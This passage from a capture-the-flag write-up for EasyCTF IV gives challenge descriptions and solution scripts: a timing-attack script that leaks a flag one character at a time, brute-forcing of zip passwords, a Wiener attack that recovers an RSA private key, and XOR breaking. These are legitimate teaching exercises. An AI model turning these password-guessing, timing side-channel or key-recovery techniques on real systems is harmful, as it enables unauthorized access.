Using an online xor tool we can apply the xor. Otherwise, in the shell terminal we execute :```printf '%#x\n' "$((0x181c0e041e091b06 ^ 0x656173796374667b))"```
Output :```0x7d7d7d7d7d7d7d7d```
So the single-byte key in hexadecimal representation is ```7d```.
Now, we can decrypt the cipher text using this key (repeated with the cipher text length) and we convert the hexadecimal plain text result to an ascii string plain text :
* complete cipher text = 181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200* repeated key = 7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d
```printf '%#x\n' "$((0x181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200 ^ 0x7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d))" | xxd -r -p```
Output :```easyctf{xwntqvvoqrzpzbnjzlshnjqro}```
So the flag is : ```easyctf{xwntqvvoqrzpzbnjzlshnjqro}```.
___
## Programming: Subset Counting
**Category:** Programming**Points:** 55**Description:**
>Given a set of numbers, print out how many non-empty subsets sum to a given integer.>**Input Format**>The first line contains two integers N and S. The second line contains N space-separated integers a_1, a_2, ..., a_N.>1 <= N <= 20>-100 <= S <= 100>-1000 <= a_i <= 1000>**Output Format**>A single integer, the number of non-empty subsets which sum to S. Two subsets are different if an element appears in one and does not appear in the other. Note that a_1 is distinct from a_2, even if their values are identical.>**Sample Input**> * ```6 5```> * ```2 4 1 1 1 2```>**Sample Ouput**> * ```8```
**Hint:**
>(No hint)
### Write-upTask not solved___
## Liar
**Category:** Reverse Engineering**Points:** 70**Description:**
>Sometimes, developers put their source into their code with -g. Sometimes, they put another source into their code with -g.>[executable](resources/reverse_engineering-70-liar/getflag)>[source](resources/reverse_engineering-70-liar/getflag.c)
**Hint:**
>(No hint)
### Write-upTask not solved___
## In Plain Sight
**Category:** Web**Points:** 70**Description:**
>I've hidden a flag somewhere at [this](http://blockingthesky.com) site... can you find it?>Note: There is not supposed to be a website. Nothing is "down". The YouTube link that some of you are finding is unintentional, please ignore it.
**Hint:**
>Dig around and see what you can find
### Write-upThe domain name ```blockingthesky.com``` is not accessible in the browser. And considering the note and the hint, it may be a dns task.
But in the DNS records, the record in which we can hide a flag is the TXT record.
So, we execute this command in a shell terminal:```shdig TXT blockingthesky.com```
Output :```; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.62.rc1.el6_9.5 <<>> blockingthesky.com txt;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35257;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:;blockingthesky.com. IN TXT
;; ANSWER SECTION:blockingthesky.com. 30 IN TXT "_globalsign-domain-verification=kXlECiyonFE_qsQR-8ki6BOIdVru3bzxpwMDZr334_"blockingthesky.com. 30 IN TXT "easyctf{betcha_wish_you_could_have_used_ANY}"
;; Query time: 9 msec;; SERVER: 213.186.33.99#53(213.186.33.99);; WHEN: Wed Feb 21 14:02:14 2018;; MSG SIZE rcvd: 180```
So the flag is : ```easyctf{betcha_wish_you_could_have_used_ANY}```.
___
## Adder
**Category:** Reverse Engineering**Points:** 80**Description:**
>This program adds numbers. Find the flag! [adder](resources/reverse_engineering-80-adder/adder)
**Hint:**
>(No hint)
### Write-upTask not solved
___
## My Letter
**Category:** **Points:** 80**Description:**
>I got a letter in my email the other day... It makes me feel sad, but maybe it'll make you glad. :( [file](resources/forensics-80-my_letter/myletter.docx)
**Hint:**
>the flag is not a rickroll
### Write-upTask not solved
___
## Nosource, Jr.
**Category:** Web**Points:** 80**Description:**
>I don't like it when people try to view source on my page. Especially when I put all this effort to put my flag verbatim into the source code, but then people just look at the source to find the flag! How annoying.>This time, when I write my wonderful website, I'll have to hide my beautiful flag to prevent you CTFers from stealing it, dagnabbit. We'll see what you're [able to find](http://c1.easyctf.com:12486/jr/)...
**Hint:**
>Did you know that Chrome Developer Tools has a Network tab?
### Write-upTask not solved___
## Zippity
**Category:** Miscellaneous**Points:** 80**Description:**
>I heard you liked zip codes! Connect via ```nc c1.easyctf.com 12483``` to prove your zip code knowledge.
**Hint:**
>I wonder if you could write a program...
### Write-upWhen we connect to that address using that command, we get this output:```+======================================================================+| Welcome to Zippy! We love US zip codes, so we'll be asking you some || simple facts about them, based on the 2010 Census. Only the || brightest zip-code fanatics among you will be able to succeed! || You'll have 30 seconds to answer 50 questions correctly. |+======================================================================+
3... 2... 1... Go!
Round 1 / 50 What is the land area (m^2) of the zip code 77432?```
And after some searches, we found the [database txt file](resources/miscellaneous-80-zippity/Gaz_zcta_national.txt) that we need.
We download it and we start coding the [Python script](resources/miscellaneous-80-zippity/solution.py)
```python#!/usr/bin/pythonimport socketimport timeimport re
def calculator(data): found=re.search('What is the (.*) of the zip code ([0-9]+)\?',data) if found is not None: s1=found.group(1) s2=found.group(2) # Source : https://www.census.gov/geo/maps-data/data/gazetteer2010.html : Zip Code Tabulation Areas f=open("Gaz_zcta_national.txt","r").readlines() line="" # The columns of this file are separeted with many extra blank spaces # So we convert all the spaces to one single "," for s in f: if s.strip().startswith(s2): line=re.sub('[ \t]+',',',s.strip()) print line lines=line.split(",") if s1 == "land area (m^2)": return lines[3] elif s1 == "water area (m^2)": return lines[4] elif s1 == "latitude (degrees)": return lines[7] elif s1 == "longitude (degrees)": return lines[8] else: print s1,"unknown" return;
def netcat(hostname, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) time.sleep(.5) data = s.recv(10240) data = s.recv(10240) data = s.recv(10240) while 1: data = s.recv(10240) if data == "": break print "Received:", repr(data) result=calculator(data) #exit() print "Sending",result time.sleep(.2) s.send(str(result)+"\n") time.sleep(.2) print "Connection closed." s.close()
netcat("c1.easyctf.com", 12483)```
Now, we run this script :```chmod +x solution.py./solution.py```
Output :```Received: ' Go!\n\nRound 1 / 50\n What is the latitude (degrees) of the zip code 54001? '54001,8155,4254,299874596,17390925,115.782,6.715,45.334330,-92.386607Sending 45.334330Received: "\nThat's correct!\n\nRound 2 / 50\n What is the water area (m^2) of the zip code 73063? "73063,691,330,277981594,652093,107.329,0.252,36.052707,-97.425008...Received: "\nThat's correct!\n\nRound 49 / 50\n What is the latitude (degrees) of the zip code 10987? "10987,3395,1542,96140065,4275671,37.120,1.651,41.186928,-74.237350Sending 41.186928Received: "\nThat's correct!\n\nRound 50 / 50\n What is the latitude (degrees) of the zip code 20687? "20687,313,244,15402392,20928213,5.947,8.080,38.064296,-76.340757Sending 38.064296Received: "\nThat's correct!\n\nYou succeeded! Here's the flag:\neasyctf{hope_you_liked_parsing_tsvs!}\n\n"Sending NoneConnection closed.```
So the flag is : ```easyctf{hope_you_liked_parsing_tsvs!}```.
___
## Flag Time
**Category:** Miscellaneous**Points:** 80**Description:**
>This problem is so easy, it can be solved in a matter of seconds. Connect to ```c1.easyctf.com:12482```.
**Hint:**
>time for u to get an ez flag
### Write-upStarting by executing this command in a shell terminal:```nc c1.easyctf.com 12482```
Output :```enter the flag:```
But, whatever the data that we send, the socket connection exit immediatly. And knowing that the flag starts with ```easyctf{```, we send ```easyctf{```, and there the socket connection will take some seconds before exiting.
So this task is based on a timing attack: for each correct flag character, the server wait a specific time to return a response.
There, we have to create a script that find for each character the maximum of the time spent while receiving the server's response, character by character, building the flag until we find the flag from the "easyctf{" part until the "}" part.
**[solution.py](resources/miscellaneous-80-flag_time/solution.py)**
```python#!/usr/bin/pythonimport socketimport timeimport re
def netcat(hostname, port): # Maximum duration (total) max_duration=0 # The first part of the flag (to skip waiting for finding this part of the flag) flag="easyctf{" char_found='' # The possible characters that we can find in a flag T=list("abcdefghijklmnopqrstuvwxyz_-0123456789{}") # Initiate the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Starting the connection s.connect((hostname, port)) # Receiving the data : "enter the flag:" data = s.recv(10240) # Sending the flag to get the initial time of waiting print "Sending",flag s.send(flag+"\n") # Getting the current time before receiving the answser n1=time.time() # receiving the answer data = s.recv(10240) # Getting the current time after receiving the answer n2=time.time() # We should not forget to close the connection s.close() # Computing the duration of the operation max_duration=round(n2-n1,1) print "Initial duration",max_duration # Be carefull, you have to assist the script while running it # I'm too lazy to write something beautiful than an infinite loop especially in a CTF :p # So after guessing this part "easyctf{" and then this part "}", you have to stop the script (Ctrl+C) while 1: # For each supported character for i in T: # We repeat the previous operation s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) data = s.recv(10240) print "Sending",flag+str(i) s.send(flag+str(i)+"\n") n1=time.time() data = s.recv(10240) n2=time.time() duration=round(n2-n1,1) # Until getting the new greatter duration if duration>max_duration: # We save the position of the character char_found=str(i) # We compute the additionnal waiting time added when we send # this character with the previous found characters # This help us to accelerate the operation of finding the character # that might be the real character, part of the flag tmp=duration-max_duration #We update the max duration (total) max_duration=duration # If this character triggered a waiting time > 0.2 (in my server I have a high speed internet) if tmp>0.2: #So this is character is part of the flag. Then, we break the loop of finding the (i)th character of the flag break print "Received:", repr(data),"in",duration,"seconds" # We should not forget to close the connection s.close() # We build the flag character by character flag=flag+char_found # We print the actual flag print "Flag :",flag,"(duration=",max_duration,")"
netcat("c1.easyctf.com", 12482)```
We run this script :```chmod +x solution.py./solution.py```
Output :```Sending easyctf{Initial duration 5.5Sending easyctf{aReceived: 'no\n' in 5.5 secondsSending easyctf{bReceived: 'no\n' in 5.5 secondsSending easyctf{cReceived: 'no\n' in 5.5 secondsSending easyctf{dReceived: 'no\n' in 5.5 secondsSending easyctf{eFlag : easyctf{e (duration= 5.8 )Sending easyctf{eaReceived: 'no\n' in 5.8 secondsSending easyctf{ebReceived: 'no\n' in 5.8 seconds...```
So the flag is : ```easyctf{ez_t1m1ng_4ttack!}```.___
## Starman 1
**Category:** Programming**Points:** 80**Description:**
>Starman has taken off in search of a team to help him win EasyCTF! He's reached the asteroid belt, which everyone knows is the best place in the galaxy to find cybersecurity talent. Each asteroid is home to one superstar hacker. Starman wants to take all of the hackers back to Earth to help him with the competition, but unfortunately this isn't practical - all of the hackers are very attached to their asteroid homes, and won't go back to Earth unless Starman agrees to take the asteroids with him. Furthermore, each hacker has a skill rating r. To ensure a win in EasyCTF, Starman wants to maximize the sum of the rating values of his team members.
>There are N hackers, and Starman's Roadster can carry up to W pounds of additional weight. Help him decide which hackers to bring home.>**Input Format**>The first line contains two integers N and W. The following N lines each contain two integers r_i and w_i, representing the skill and weight of the ith hacker. (w_i is the sum of a hacker and their asteroid's weight).>```1 <= N, W <= 2000```>```1 <= r_i, w_i <= 10000```
>**Output Format**>A single integer, the best sum-of-ratings Starman can achieve while keeping the total weight added to his Roadster less than or equal to W.
>**Sample Input**> * ```5 15```> * ```6 7```> * ```3 4```> * ```3 5```> * ```10 11```> * ```8 8```
>**Sample Ouput**> * ```14```
**Hint:**
>If you run into issues with the time limit, try reading up on Dynamic Programming.
### Write-upThis task illustrate the Knapsack_problemThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/starman_1/grader.py):
```python#Original EasyCTF_V write-upimport syssys.setrecursionlimit(5000)
N, W = map(int, input().split())
dat = [list(map(int, input().split())) for i in range(N)]
memo = [[-1] * (W + 1) for i in range(N)]
# https://en.wikipedia.org/wiki/Knapsack_problem
def ans(ind, wr): if ind == N: return 0 if memo[ind][wr] != -1: return memo[ind][wr] best = ans(ind + 1, wr) if dat[ind][1] <= wr: best = max(best, dat[ind][0] + ans(ind + 1, wr - dat[ind][1])) memo[ind][wr] = best return best
print(ans(0, W))```
___
## Keyed Xor
**Category:** Cryptography**Points:** 100**Description:**
>A flag has been encrypted using keyed xor. Can you decrypt it? [File](resources/cryptography-100-keyed_xor/keyed_xor.txt).>The key was created by taking two words from [this](resources/cryptography-100-keyed_xor/words.txt) wordlist.
**Hint:**
>(No hint)
### Write-upWe should decrypt the encrypted file like this : ```encrypted_file xor (key_part_1 + key_part_2)```.
So we created a python script that guess the first part of the key, the the second part:
**[solution.py](resources/cryptography-100-keyed_xor/solution.py)**
```python#!/usr/bin/python
import re
# s1 xor s2def sxor(s1, s2): return "".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)])
# repeat s many time until the max length mdef rep(s, m): a, b = divmod(m, len(s)) return s * a + s[:b]
# Open the encrypted filef=open("keyed_xor.txt","r").read()
# Open the wordlistf2=open("words.txt","r").readlines()
# For each word in the wordlist (searching for the first part of the xor key)for x in f2: # If ( encrypted_file xor "easyctf{" ) starts with the selected word from the worlist if x.strip().startswith(sxor(f,"easyctf{")): # It can be the first part of the xor key # For each word in the wordlist (searching for the second part of the xor key) for y in f2: # we compute : encrypted_file xor ( (word1+word2) repeated to the encrypted_file length) xored2=sxor(f,rep(x.strip()+y.strip(),len(f))) # We extract the alpha-numeric string inside the "easyctf{...}" found=re.search('^[a-zA-Z0-9_\-]+$',xored2[8:-1]) # If the xored string ends with "}" and inside the "easyctf{...}" we found an alpha-numeric string if xored2.endswith("}") and found is not None: # Youpi ! it's probably a flag print x.strip(),y.strip(),"\t => ",xored2```
Output :```reflecting imprisoned => easyctf{flagflagflagflagudveghqbddudvucxgsewgfmvbtznycxjilppzurputskfvcfbk}reflecting physically => easyctf{flxbomawhnhzflagudveghhgmeutxwjegsewgfmvbtckpbxzgnymzurputskfvzckj}```
So the flag is : ```easyctf{flagflagflagflagudveghqbddudvucxgsewgfmvbtznycxjilppzurputskfvcfbk}``` because it contains the word ```flag```.___
## Not OTP
**Category:** Cryptography**Points:** 100**Description:**
>It seems we've intercepted 2 strings that were both encrypted with what looks like OTP! Is it possible to decrypt them? file
**Hint:**
>I think there's something about cribs in there...
### Write-upTask not solved___
## Diff
**Category:** Forensics**Points:** 100**Description:**
>Sometimes, the differences matter. Especially between the files in [this archive](resources/forensics-100-diff/file.tar).>Hint: This is a [TAR](https://en.wikipedia.org/wiki/Tar_(computing)) archive file. You can extract the files inside this tar by navigating to the directory where you downloaded it and running tar xf file.tar! If you don't have tar on your personal computer, you could try doing it from the Shell server. Once you extract the files, try comparing the hex encodings of the files against the first file.
**Hint:**
>Check the man page for diff by typing "man diff".
### Write-upWe have to download the tar file. Then we extract its content:
```mkdir diff_dirtar -xvf file.tar -C diff_dircd diff_dir```
Now we start comparing ```file``` with ```file2```, ```file3``` and ```file4```:```diff <(xxd file) <(xxd file2)diff <(xxd file) <(xxd file3)diff <(xxd file) <(xxd file4)```
Output :```1c1< 0000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............---> 0000000: 7f45 4c46 0201 0100 0065 0000 0000 0000 .ELF.....e......8c8< 0000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................---> 0000070: 0800 0000 0000 0000 0361 0000 0400 0000 .........a......15c15< 00000e0: 0000 2000 0000 0000 0100 0000 0600 0000 .. .............---> 00000e0: 0000 2000 0000 0000 0100 7300 0600 0000 .. .......s.....18,19c18,19< 0000110: 9802 0000 0000 0000 0000 2000 0000 0000 .......... .....< 0000120: 0200 0000 0600 0000 f80d 0000 0000 0000 ................---> 0000110: 9802 0000 7963 7400 0000 2000 0000 0000 ....yct... .....> 0000120: 0200 0000 0600 6600 f80d 0000 0000 0000 ......f.........25c25< 0000180: 4400 0000 0000 0000 0400 0000 0000 0000 D...............---> 0000180: 4400 0000 0000 007b 0400 0000 0000 0000 D......{........31c31< 00001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 00001e0: 0000 0000 0000 0064 0000 0000 0000 0000 .......d........59c59< 00003a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 00003a0: 0000 0000 0000 0069 0000 0000 0000 0000 .......i........558a559> 00022e0: 0a .
12c12< 00000b0: 0100 0000 0500 0000 0000 0000 0000 0000 ................---> 00000b0: 0100 6600 0500 0000 0000 0000 0000 0000 ..f.............17c17< 0000100: e00d 6000 0000 0000 7c02 0000 0000 0000 ..`.....|.......---> 0000100: e00d 6000 6600 0000 7c02 0000 0000 0000 ..`.f...|.......32c32< 00001f0: 0000 0000 0000 0000 1000 0000 0000 0000 ................---> 00001f0: 0000 0000 0069 0000 1000 0000 0000 0000 .....i..........50c50< 0000310: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 0000310: 0000 0000 006e 6900 0000 0000 0000 0000 .....ni.........61c61< 00003c0: 0000 0000 0000 0000 8b00 0000 1200 0000 ................---> 00003c0: 0000 0000 0000 746c 8b00 0000 1200 0000 ......tl........273c273< 0001100: 5f72 002e 7265 6c61 2e64 796e 002e 7265 _r..rela.dyn..re---> 0001100: 5f72 002e 7265 795f 2e64 796e 002e 7265 _r..rey_.dyn..re283c283< 00011a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................---> 00011a0: 0000 0000 0000 616e 5f00 0000 0000 0000 ......an_.......558a559> 00022e0: 0a .
79c79< 00004e0: 0200 0200 0200 0200 0200 0000 0000 0000 ................---> 00004e0: 657a 0200 5f70 726f 626c 656d 217d 0000 ez.._problem!}..558a559> 00022e0: 0a .
```___
## rop1
**Category:** Binary Exploitation**Points:** 120**Description:**
>Go to ```/problems/rop1``` on the shell server and tell me whats in flag.txt.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Remember Me
**Category:** Forensics**Points:** 130**Description:**
>I'm such a klutz! I know I hid a flag in [this file](resources/forensics-130-remember_me/scarboroughfair.mp3) somewhere, but I can't remember where I put it!>Song is from sukasuka.
**Hint:**
>Sometimes I can't tell my left from my right, either.
### Write-upTask not solved___
## EzReverse
**Category:** Reverse Engineering**Points:** 140**Description:**
>Take a look at [executable](resources/reverse_engineering-140-ezreverse/executable). Objdump the executable and read some assembly!
**Hint:**
>Time to read a bit of assembly! Did you know that characters are actually just integers? Take a look at an ASCII table for reference.
### Write-upTask not solved___
## Soupstitution Cipher
**Category:** Reverse Engineering**Points:** 150**Description:**
>We had a flag, but lost it in a mess of alphabet soup! Can you help us [find it](resources/reverse_engineering-150-soupstitution_cipher/soupstituted.py)?>Connect to the server via ```nc c1.easyctf.com 12484```.
**Hint:**
>I love parsing characters!
### Write-upTask not solved
___
## Digging for Soup
**Category:** Web**Points:** 150**Description:**
>Perhaps this time I'll have hidden things a little better... you won't find my flag so easily now! ```nicebowlofsoup.com```
**Hint:**
>How do slave zones know when updates are made to the master?
### Write-upTask not solved___
## AES
**Category:** Cryptography**Points:** 160**Description:**
>There's an AES challenge running at ```c1.easyctf.com 12487``` ([source](resources/cryptography-160-aes/aes_redacted.py)).
**Hint:**
>(No hint)
### Write-upTask not solved___
## MalDropper
**Category:** Reverse Engineering**Points:** 160**Description:**
>Mind looking at this malware dropper I found?>[File](resources/reverse_engineering-160-maldropper/maldrop.exe)>Note: this isn't actually malware, it just borrows obfuscation techniques from low quality malware.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Zipperoni
**Category:** Miscellaneous**Points:** 160**Description:**
>I've created a dastardly chain of [zip files](resources/miscellaneous-160-zipperoni/zip_files.tar). Now you'll never find my flag!>The first file is ```begin.zip```, with password ```coolkarni```.>Hint: You need to guess the password of the next zip file. However, the underscores in the pattern appear in the same positions as they do in the actual password, so you don't need to guess them. For example, the first pattern is ```__0_0_```, which means that you need to guess the 3rd and 5th characters.
**Hint:**
>I love writing Python programs, don't you?
### Write-upWe have to extract many password protected zip files buy guessing its passwords based on the patterns to get the flag.
So we start by downloading the first [tar file](resources/miscellaneous-160-zipperoni/zip_files.tar) which contains all the password protected zip files.
Then, we execute these commands to extract the zip files:```tar zip_files.tar -xvfcd zip_file```
Next, we start coding the [Python script](resources/miscellaneous-160-zipperoni/solution.py) :
```python#!/usr/bin/python
from zipfile import ZipFileimport reimport timeimport hashlib
def get_pattern(): file3=open("pattern.txt","r") pattern=file3.read().strip() file3.close() return pattern
def get_hash(): file3=open("hash.txt","r") pattern=file3.read().strip() file3.close() return pattern
def recursive(R,S,password,filename1,pattern): reg="" if S[0]=='0': reg="0123456789" elif S[0]=='a': reg="abcdefghijklmnopqrstuvwxyz" elif S[0]=='A': reg="ABCDEFGHIJKLMNOPQRSTUVWXYZ" else: exit() for i in list(reg): if get_pattern()==pattern: if len(R)==1: try: zf=ZipFile(filename1) old=list(password) old[R[0]]=i password="".join(old) #print password #,filename1,hashlib.sha1(password).hexdigest() if get_hash()==hashlib.sha1(password).hexdigest(): zf.extractall(pwd=password) print "First password:",password,"for file:",filename1 except RuntimeError: nop=1 else: old=list(password) old[R[0]]=i password="".join(old) recursive(R[1:],S[1:],password,filename1,pattern) else: break
zf=ZipFile("begin.zip")zf.extractall(pwd="coolkarni")
# We have to stop this script manually when this script loops on cracking the password of the same zip file (last file)while 1: file1=open("filename.txt","r") filename=file1.read().strip() file1.close() found=re.search('zip_files/(.*)',filename) if found is not None: file2=found.group(1).strip() pattern=get_pattern() hash=get_hash() R=[] S=[] T=list(pattern) for i in range(len(T)): if T[i]!='_': R.append(i) S.append(T[i]) #print R,S recursive(R,S,pattern,file2,pattern)```
And, we run it:```chmod +x solution.py./solution.py```
Output :```First password: __1_8_ for file: a6e38c166399.zipFirst password: 171__5 for file: b7fb9ad28cfa.zipFirst password: 2_662_ for file: 8acaef3b63cb.zipFirst password: _8____ for file: 9dea7ddf151c.zipFirst password: Ob2_1C for file: 1ba1e20a1fa3.zipFirst password: xE_677 for file: 3f0e8b8ab37e.zipFirst password: _4y6gO for file: 750d95fb57bc.zipFirst password: k__6bT for file: 68a27e4f8f65.zipFirst password: le5_G_ for file: 6a9e93579c2c.zipFirst password: 7_R_tb for file: 1e9af31fa599.zipFirst password: f_v222 for file: e46a39dbc7a7.zipFirst password: w8bs__ for file: d71d7308dc2c.zipFirst password: cFy88_ for file: 3c1f7f6a89bd.zipFirst password: 9_u4Mf for file: 78fb0273a8ca.zipFirst password: _y5_y_ for file: cce8171583ab.zipFirst password: 12O_4e for file: 2c114c46202e.zipFirst password: H_pG__ for file: 7069030ba353.zipFirst password: _3b__X for file: 88111d2184a7.zipFirst password: F_PaeL for file: 94138b51c250.zipFirst password: 9h12__ for file: ba003ac880f3.zipFirst password: 1IbLE_ for file: f7cd9013ab05.zipFirst password: _so58F for file: e15074fdf6f4.zipFirst password: QP8_2_ for file: 29a43d087f69.zipFirst password: LK2i4_ for file: 2dc5f26394d2.zipFirst password: _46rW9 for file: 7c35b1ca627e.zipFirst password: _46rW9 for file: 7c35b1ca627e.zip```
As we can see, the last line is dupplicated. Maybe the last password protected zip file was extracted.
We find that there is a new file called flag.txt
So we print it:```cat flag.txt```
Output :```easyctf{you_must_REALLY_luv_zip_files_by_now!}```
So the flag is : ```easyctf{you_must_REALLY_luv_zip_files_by_now!}```.
___
## format
**Category:** Binary Exploitation**Points:** 160**Description:**
>Go to ```/problems/format``` on the shell server and tell me what is in ```flag.txt```.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Starman 2
**Category:** Programming**Points:** 175**Description:**
>Starman is back at it again! Having successfully brought back several hackers from the asteroid belt, he wants to eliminate the possibility of competition from the hackers he left behind. He has equipped his Roadster with an asteroid-destroying laser, but unfortunately he's only able to fire it once. Asteroids can be represented as points in a 2D plane. The laser, when fired, sends a beam of width W straight forward, and destroys everything in its path. Starman can go anywhere to fire his beam. It's expensive to fire wider beams, so your job is to find out the smallest possible width of the beam.>**Input Format**>The first line contains a single integer N, representing the number of asteroids. The following N lines each contain two integers x_i and y_i, representing the x and y coordinates of the ith asteroid.>```3 <= N <= 200000```>```-10^8 <= x_i, y_i <= 10^8```>**Output Format**>A decimal printed to six decimal places (including trailing zeroes; this can be accomplished using printf or your language's equivalent) representing the minimum possible value of W.>**Sample Input**>```5```>```12 4```>```-2 5```>```-8 -7```>```-1 -11```>```5 3```>**Sample Ouput**>```11.234578```
**Hint:**
>(No hint)
### Write-upTask not solved___
## RSA_v
**Category:** Cryptography**Points:** 200**Description:**
>Bob is extremely paranoid, so he decided that just one RSA encryption is not enough. Before sending his message to Alice, he forced her to create 5 public keys so he could encrypt his message 5 times! Show him that he still is not secure... [rsa.txt](resources/cryptography-200-rsa_v/rsa.txt).
**Hint:**
>(No hint)
### Write-upAs we know in RSA to encrypt a message (m), we should use the public key (n,e) like this : c ≡ (m^e) (mod n)
And to decrypt a ciphertext (c), we should use the private key (d,e,n) like this : c^d ≡ ((m^e)^d) ≡ m mod n
So to encrypt a message (m) using 5 public keys, we have to apply the encryption operation 5 times. In this problem we have the same modulus (n) and a different public exponent (e).
But when we encrypt a message using 2 public keys we have to apply this function : c1 ≡ (m^e1) (mod n)
Then, c2 ≡ (c1^e2) (mod n) ≡ (((m^e1) (mod n))^e2) (mod n) ≡ ((m^e1)^e2) (mod n) ≡ m^(e1*e2) (mod n)
Maybe I did a wrong interpretation here because I'm not good in math, but this is what I think about this task and **if I did something wrong please edit and correct my answer**.
So we get this expression because we have the same modulus (n).
To generalise with the 5 public key, the final message is C ≡ m^(e1*e2*e3*e4*e5) (mod n) ≡ (m^E) (mod n)
Where E=e1*e2*e3*e4*e5
And the expression of "c" is the same as the encryption function of RSA cipher.
But, to decrypt this message we have to find the private exponent "d".
After some searches, we found an interesting thing using python
```n=9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469e=11*41*67623079903*5161910578063*175238643578591220695210061216092361657427152135258210375005373467710731238260448371371798471959129039441888531548193154205671c=7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120print "n =",nprint "e =",eprint "c =",c```
Output :```n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469Le = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069Lc = 7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120L```
So, n and e are almost in the same order of length. Maybe it's a coincidence, but this [remember me](https://en.wikipedia.org/wiki/Wiener%27s_attack#Example) the Wiener attack.
Let's check this possibility.
We have to install the owiner module in python3:```python3 -m pip install owiner```
Then, we run this python3 code:
```python#!/usr/bin/python3
import owiener
e1=11e2=41e3=67623079903e4=5161910578063e5=175238643578591220695210061216092361657427152135258210375005373467710731238260448371371798471959129039441888531548193154205671e=e1*e2*e3*e4*e5n=9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469d = owiener.attack(e, n)
if d is None: print("Failed")else: print("d={}".format(d))```
Output :```d=171330787932846372330977720182288808813```
Youpi ! The attack worked perfectly.
Knowing the private exponent "d", we can decrypt the message.
It's the first time that I can't decrypt a message using python because of an error. I tried the decryption without or with the PKCS1.5 and it didn't work but I'm sure that I have the correct "d".
So I switched to an [online tool](http://extranet.cryptomathic.com/rsacalc/index) that require (n,e,d,c) in an hexadecimal representation.
That's what you need ? Challenge Accepted.
Using Python, I get what this online tool needs:
* n=b0915c0eb299cbd5d54d3a5c0dbe04932c6bcdd078cdb3ce1849a620e7196db22c97edfeb731a33aedbdeb28ccbb6533683c0e259d17e0308c48ba72e8d382bd* d=80e51c075ffcbe945903af2e1075fb6d* e=86d840a79a29eafc30ebb64fc18a6e55a24cf2bdb046dd9cc4271eef471da0c3e145296eb6e9667c2f05fde8d3afbab6803ed6139f8e938c4d07dc358b5fc5* c=87e5ef7da5f0104abfdffdf497717b9324bc78f7bfa985b9d662da34ea1c8607cea3a88bb8fdc089bc2266818a00aa0b426ad7ec86056757b4c1b4630aa02a30
As a decrypted message (m) I get : m=656173796374667b6b65626c667466747a696261746473716d716f74656d6d74797d
Which is the plain text in the hexadecimal representation.
Using an online tool to convert it from hexadecimal to an ascii string, I get the flag.
So the flag is : `easyctf{keblftftzibatdsqmqotemmty}`
___
## Souper Strong Primes
**Category:** Cryptography**Points:** 20**Description:**
>Technically I used strong primes. But are they really strong in this case? They are big, but there might still be an issue here. [n.txt](resources/cryptography-200-souper_strong_primes/n.txt) [e.txt](resources/cryptography-200-souper_strong_primes/e.txt) [c.txt](resources/cryptography-200-souper_strong_primes/c.txt)
**Hint:**
>I chose "strong" primes, according to wikipedia. But are there strong primes that aren't cryptographically secure for RSA?
### Write-upTask not solved___
## Pixelly
**Category:** Reverse Engineering**Points:** 220**Description:**
>I've created a new [ASCII art generator](http://c1.easyctf.com:12489/), and it works beautifully! But I'm worried that someone might have put a backdoor in it. Maybe you should [check out the source](resources/reverse_engineering-220-pixelly/asciinator.py) for me...
**Hint:**
>How many characters do you really need, now?
### Write-upTask not solved___
## Little Language
**Category:** Miscellaneous**Points:** 250**Description:**
>I want root access to this special programming portal, and this file is my only clue. Maybe the password is inside? Even if it is, I'm not sure how to enter it. encrypted>```nc c1.easyctf.com 12480```>Oh! Almost forgot... [this](resources/miscellaneous-250-little_language/parser.txt) might help.
**Hint:**
>One small step for man...
### Write-upTask not solved___
## Nosource
**Category:** Web**Points:** 250**Description:**
>All you CTFers are sure getting on my nerves with your source-viewing and developer tools-ing! Alas, despite my best wishes, the experienced programmers on the wonderful website StackOverflow tell me that it's [impossible](https://stackoverflow.com/q/6597224/689161) to keep you from looking at the HTML. But a disable right click script certainly won't stop an experienced CTFer like you! So finding the flag in the source of this problem should be no trouble, [right](http://c1.easyctf.com:12486/)?
**Hint:**
>If you can't beat 'em, maybe you can get around 'em somehow?
### Write-upTask not solved___
## Hidden Key
**Category:** Cryptography**Points:** 250**Description:**
>Ugh, another RSA problem? Help me decrypt this message please [file](resources/cryptography-250-hidden_key/hiddenkey.txt).
**Hint:**
>i left an extra key in my back pocket
### Write-upTask not solved___
## fumblr
**Category:** Web**Points:** 275**Description:**
